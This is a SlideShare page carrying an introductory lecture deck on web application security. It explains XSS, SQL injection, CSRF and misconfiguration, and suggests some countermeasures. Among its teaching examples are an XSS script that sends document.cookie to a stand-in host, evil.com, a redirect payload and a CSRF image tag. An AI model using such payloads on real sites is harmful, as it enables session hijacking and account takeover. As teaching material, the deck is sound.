SlideShare une entreprise Scribd logo
1  sur  36
Web Application Security
Vulnerabilities, attacks, and
countermeasures
Prepared by:
Jean Michael Castor
Web Applications
• A web-based application is any application
that uses a web browser as a client. The term
may also mean a computer software
application that is coded in a browser-
supported programming language (such as
JavaScript, combined with a browser-rendered
markup language like HTML) and reliant on a
common web browser to render the
application executable.
Web Application vs Website
• A web application is an application that’s
accessed through a web browser.
• A website is a series of pages or documents
that may embed media (images, video, etc)
that’s accessed through a web browser over
the internet.
Outline
• Introduction
• Demo application
• Vulnerabilities
• Defenses
• Tools
• Conclusions
• Resources
Introduction
• World Wide Web has become a powerful
platform for application delivery
• Sensitive data increasingly made available
through web applications
• Corresponding rise in number of
vulnerabilities discovered and security
incidents reported
Confidential data breaches
Demo Application
Login Page
Text Input Pages
Database
Vulnerabilities
Web Applications are vulnerable of the following:
– Misconfiguration
– Client-side controls
– Authentication errors
– Cross-site scripting
– SQL injection
– Cross-site request forgery
Misconfiguration
• Outdated versions of the server
• Outdated versions of third-party web
applications
• Guessable passwords
– Application
– FTP/SSH
• Retrievable source code
• Trojaned home machine
Client-side controls
• Do not rely on client-side controls that are not
enforced on the server-side
– Cookie
Cookie: role=guest/admin
– Hidden form parameters
<input type=“hidden” name=“role”
value=“guest/admin”>
– JavaScript checks
function validateRole() { … }
Direct object reference
• A direct object reference occurs when a
developer exposes a reference to an internal
implementation object, such as a file,
directory, database record, or key, as a URL or
form parameter. An attacker can manipulate
direct object references to access other
objects without authorization, unless an
access control check is in place.
Direct object reference
ID FNAME LNAME
1 Boy George
2 Mio Koh
3 Jubagro Bagro
4 Dodoy Doy
Now, let’s say that this database table were queried in a normal application. Then, the
results are presented on the page, and each record in the result list would probably
have a link to more detail about each user.
Now, here’s what the url might look like to go view greater detail about Mio:
/users/viewDetail?id=2
Authentication errors
• Weak passwords
– Enforce strong, easy-to-remember passwords
• Brute forceable
– Enforce upper limit on the number of errors in a
given time
• Verbose failure messages (“wrong password”)
– Do not leak information to attacker
Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
GET /posts
Cookie: s=01a4b8
Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
HTTP/1.1 200 OK
…
<script>…</script>
Cross-site scripting (XSS)
1. Attacker injects malicious code into vulnerable web server
2. Victim visits vulnerable web server
3. Malicious code is served to victim by web server
4. Malicious code executes on the victims with web server’s
privileges
GET /log?s=01a4b8
3 types of XSS
• Reflected: vulnerable application simply
“reflects” attacker’s code to its visitors
• Persistent: vulnerable application stores (e.g.,
in the database) the attacker’s code and
presents it to its visitors
• DOM-based: vulnerable application includes
pages that use untrusted parts of their DOM
model (e.g., document.location,
document.URL) in an insecure way
XSS Attacks
• STEALING COOKIE
• DEFACEMENT
• PHISHING
• PRIVACY VIOLATION
• RUN EXPLOITS
• JAVASCRIPT MALWARE
XSS attacks: STEALING COOKIE
• Attacker injects script that reads the site’s cookie
• Scripts sends the cookie to attacker
• Attacker can now log into the site as the victim
<script>
var img = new Image();
img.src =
“http://evil.com/log_cookie.php?” +
document.cookie
</script>
XSS attacks: DEFACEMENT
• Attacker injects script that automatically
redirects victims to attacker’s site
<script>
document.location =
“http://evil.com”;
</script>
XSS attacks: PHISHING
• Attacker injects script that reproduces look-
and-feel of “interesting” site (e.g., paypal,
login page of the site itself)
• Fake page asks for user’s credentials or other
sensitive information
• The data is sent to the attacker’s site
XSS attacks: PRIVACY VIOLATION
• The attacker injects a script that determines
the sites the victims has visited in the past
• This information can be leveraged to perform
targeted phishing attacks
XSS attacks: RUN EXPLOITS
• The attacker injects a script that launches a
number of exploits against the user’s browser
or its plugins
• If the exploits are successful, malware is
installed on the victim’s machine without any
user intervention
• Often, the victim’s machine becomes part of a
botnet
XSS attacks: JAVASCRIPT MALWARE
• JavaScript opens up internal network to
external attacks
– Scan internal network
– Fingerprint devices on the internal network
– Abuse default credentials of DSL/wireless routers
SQL injection
HTTP Request
POST /login?u=foo&p=bar
SQL Query
SELECT user, pwd FROM users WHERE u = ‘foo’
• Attacker submits HTTP request with a malicious parameter
value that modifies an existing SQL query, or adds new
queries
SQLI attacks
• Detecting:
– Attacker inject special-meaning characters that are
likely to cause an error, e.g., user=“
• Consequences:
– Violate data integrity
– Violate data confidentiality
Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
GET /posts
Cookie: s=01a4b8
Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
GET /index.html
Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
HTTP 1.1 200 OK
…
<img
src=http://vuln/
delete>
Cross-site request forgery (CSRF)
1. Victim is logged into vulnerable web site
2. Victim visits malicious page on attacker web site
3. Malicious content is delivered to victim
4. Victim involuntarily sends a request to the vulnerable web site
GET /delete
Cookie: s=01a4b8
CSRF countermeasures
• Use POST instead of GET requests
POST AND GET COMPARISON TABLE
• In HTML, one can specify two different submission methods for a form. The method is
specified inside a FORM element, using the METHOD attribute. The difference between
METHOD="GET" (the default) and METHOD="POST" is primarily defined in terms of form data
encoding. According to the technical HTML specifications GET means that form data is to be
encoded (by a browser) into a URL while POST means that the form data is to appear within
the message body of the HTTP request.
GET POST
BACK button/Reload Harmless
Data will be re-submitted (the browser should alert the user that the data are
about to be re-submitted)
Bookmarked Can be bookmarked Cannot be bookmarked
Cached Can be cached Not cached
History
Parameters remain in browser
history
Parameters are not saved in browser history
Restrictions on data
type
Only ASCII characters allowed No restrictions. Binary data is also allowed
Security
GET is less secure compared to
POST because data sent is part of
the URL
Never use GET when sending
passwords or other sensitive
information!
POST is a little safer than GET because the parameters are not stored in
browser history or in web server logs
Web application security

Contenu connexe

Tendances

Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011Samvel Gevorgyan
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Grey H@t - Cross-site Request Forgery
Grey H@t - Cross-site Request ForgeryGrey H@t - Cross-site Request Forgery
Grey H@t - Cross-site Request ForgeryChristopher Grayson
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Nilesh Sapariya
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolArjun Jain
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Capgemini
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCSuvash Shah
 

Tendances (20)

Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
Hack using firefox
Hack using firefoxHack using firefox
Hack using firefox
 
Cross site scripting XSS
Cross site scripting XSSCross site scripting XSS
Cross site scripting XSS
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Grey H@t - Cross-site Request Forgery
Grey H@t - Cross-site Request ForgeryGrey H@t - Cross-site Request Forgery
Grey H@t - Cross-site Request Forgery
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
XSS
XSSXSS
XSS
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 

En vedette

Web Based Security
Web Based SecurityWeb Based Security
Web Based SecurityJohn Wiley
 
Social engineering-Attack of the Human Behavior
Social engineering-Attack of the Human BehaviorSocial engineering-Attack of the Human Behavior
Social engineering-Attack of the Human BehaviorJames Krusic
 
Social engineering presentation
Social engineering presentationSocial engineering presentation
Social engineering presentationpooja_doshi
 
Presentation of Social Engineering - The Art of Human Hacking
Presentation of Social Engineering - The Art of Human HackingPresentation of Social Engineering - The Art of Human Hacking
Presentation of Social Engineering - The Art of Human Hackingmsaksida
 
Social Engineering
Social EngineeringSocial Engineering
Social EngineeringCyber Agency
 

En vedette (9)

Cos 432 web_security
Cos 432 web_securityCos 432 web_security
Cos 432 web_security
 
Web security
Web securityWeb security
Web security
 
Web Based Security
Web Based SecurityWeb Based Security
Web Based Security
 
Social engineering-Attack of the Human Behavior
Social engineering-Attack of the Human BehaviorSocial engineering-Attack of the Human Behavior
Social engineering-Attack of the Human Behavior
 
Social engineering
Social engineeringSocial engineering
Social engineering
 
Social engineering presentation
Social engineering presentationSocial engineering presentation
Social engineering presentation
 
Presentation of Social Engineering - The Art of Human Hacking
Presentation of Social Engineering - The Art of Human HackingPresentation of Social Engineering - The Art of Human Hacking
Presentation of Social Engineering - The Art of Human Hacking
 
Social Engineering
Social EngineeringSocial Engineering
Social Engineering
 
Web Security
Web SecurityWeb Security
Web Security
 

Similaire à Web application security

Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Joe Ferguson
 
Advanced Client Side Exploitation Using BeEF
Advanced Client Side Exploitation Using BeEFAdvanced Client Side Exploitation Using BeEF
Advanced Client Side Exploitation Using BeEF1N3
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 
Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssdcervigni
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Secure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfSecure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfnanangAris1
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITYyashwanthlavu
 
How not to make a hacker friendly application
How not to make a hacker friendly applicationHow not to make a hacker friendly application
How not to make a hacker friendly applicationAbhinav Mishra
 
Outpost24 webinar - Understanding the 7 deadly web application attack vectors
Outpost24 webinar - Understanding the 7 deadly web application attack vectorsOutpost24 webinar - Understanding the 7 deadly web application attack vectors
Outpost24 webinar - Understanding the 7 deadly web application attack vectorsOutpost24
 
Do You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez MetulaDo You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez MetulaAlphageeks
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITYyashwanthlavu
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
CSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_GrossmanCSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_Grossmanguestdb261a
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 

Similaire à Web application security (20)

Lets Make our Web Applications Secure
Lets Make our Web Applications SecureLets Make our Web Applications Secure
Lets Make our Web Applications Secure
 
Vulnerabilities in Web Applications
Vulnerabilities in Web ApplicationsVulnerabilities in Web Applications
Vulnerabilities in Web Applications
 
Isys20261 lecture 09
Isys20261 lecture 09Isys20261 lecture 09
Isys20261 lecture 09
 
Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015Secure Form Processing and Protection - Sunshine PHP 2015
Secure Form Processing and Protection - Sunshine PHP 2015
 
Advanced Client Side Exploitation Using BeEF
Advanced Client Side Exploitation Using BeEFAdvanced Client Side Exploitation Using BeEF
Advanced Client Side Exploitation Using BeEF
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xss
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Secure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdfSecure Coding BSSN Semarang Material.pdf
Secure Coding BSSN Semarang Material.pdf
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITY
 
How not to make a hacker friendly application
How not to make a hacker friendly applicationHow not to make a hacker friendly application
How not to make a hacker friendly application
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
Cyber Threats
Cyber ThreatsCyber Threats
Cyber Threats
 
Outpost24 webinar - Understanding the 7 deadly web application attack vectors
Outpost24 webinar - Understanding the 7 deadly web application attack vectorsOutpost24 webinar - Understanding the 7 deadly web application attack vectors
Outpost24 webinar - Understanding the 7 deadly web application attack vectors
 
Do You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez MetulaDo You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez Metula
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITYWEB APPLICATION SECURITY
WEB APPLICATION SECURITY
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
CSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_GrossmanCSRF_RSA_2008_Jeremiah_Grossman
CSRF_RSA_2008_Jeremiah_Grossman
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 

Plus de Jin Castor

Information security
 Information security Information security
Information securityJin Castor
 
Introduction to E-commerce
Introduction to E-commerceIntroduction to E-commerce
Introduction to E-commerceJin Castor
 
Introduction to Infographics Designing
Introduction to Infographics DesigningIntroduction to Infographics Designing
Introduction to Infographics DesigningJin Castor
 
Creative designing using Adobe Products
Creative designing using Adobe ProductsCreative designing using Adobe Products
Creative designing using Adobe ProductsJin Castor
 
Introduction to Adobe Illustrator
Introduction to Adobe IllustratorIntroduction to Adobe Illustrator
Introduction to Adobe IllustratorJin Castor
 
SEO Advanced and scalable link building
SEO  Advanced and scalable link building SEO  Advanced and scalable link building
SEO Advanced and scalable link building Jin Castor
 
Introduction to Web Designing
Introduction to Web DesigningIntroduction to Web Designing
Introduction to Web DesigningJin Castor
 
Introduction to search engine optimization
Introduction to search engine optimizationIntroduction to search engine optimization
Introduction to search engine optimizationJin Castor
 
Web services protocols
Web services protocolsWeb services protocols
Web services protocolsJin Castor
 
Introduction to xampp
Introduction to xamppIntroduction to xampp
Introduction to xamppJin Castor
 
Drupal introduction
Drupal introductionDrupal introduction
Drupal introductionJin Castor
 
Control statements in Java
Control statements  in JavaControl statements  in Java
Control statements in JavaJin Castor
 
Switch statements in Java
Switch statements  in JavaSwitch statements  in Java
Switch statements in JavaJin Castor
 
Looping statements in Java
Looping statements in JavaLooping statements in Java
Looping statements in JavaJin Castor
 

Plus de Jin Castor (16)

Information security
 Information security Information security
Information security
 
Introduction to E-commerce
Introduction to E-commerceIntroduction to E-commerce
Introduction to E-commerce
 
Introduction to Infographics Designing
Introduction to Infographics DesigningIntroduction to Infographics Designing
Introduction to Infographics Designing
 
Creative designing using Adobe Products
Creative designing using Adobe ProductsCreative designing using Adobe Products
Creative designing using Adobe Products
 
Introduction to Adobe Illustrator
Introduction to Adobe IllustratorIntroduction to Adobe Illustrator
Introduction to Adobe Illustrator
 
SEO Advanced and scalable link building
SEO  Advanced and scalable link building SEO  Advanced and scalable link building
SEO Advanced and scalable link building
 
Introduction to Web Designing
Introduction to Web DesigningIntroduction to Web Designing
Introduction to Web Designing
 
Introduction to search engine optimization
Introduction to search engine optimizationIntroduction to search engine optimization
Introduction to search engine optimization
 
Web services protocols
Web services protocolsWeb services protocols
Web services protocols
 
Introduction to xampp
Introduction to xamppIntroduction to xampp
Introduction to xampp
 
Drupal introduction
Drupal introductionDrupal introduction
Drupal introduction
 
Control statements in Java
Control statements  in JavaControl statements  in Java
Control statements in Java
 
Switch statements in Java
Switch statements  in JavaSwitch statements  in Java
Switch statements in Java
 
Looping statements in Java
Looping statements in JavaLooping statements in Java
Looping statements in Java
 
Java input
Java inputJava input
Java input
 
Java arrays
Java arraysJava arrays
Java arrays
 

Dernier

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Principled Technologies
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024The Digital Insurer
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 

Dernier (20)

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
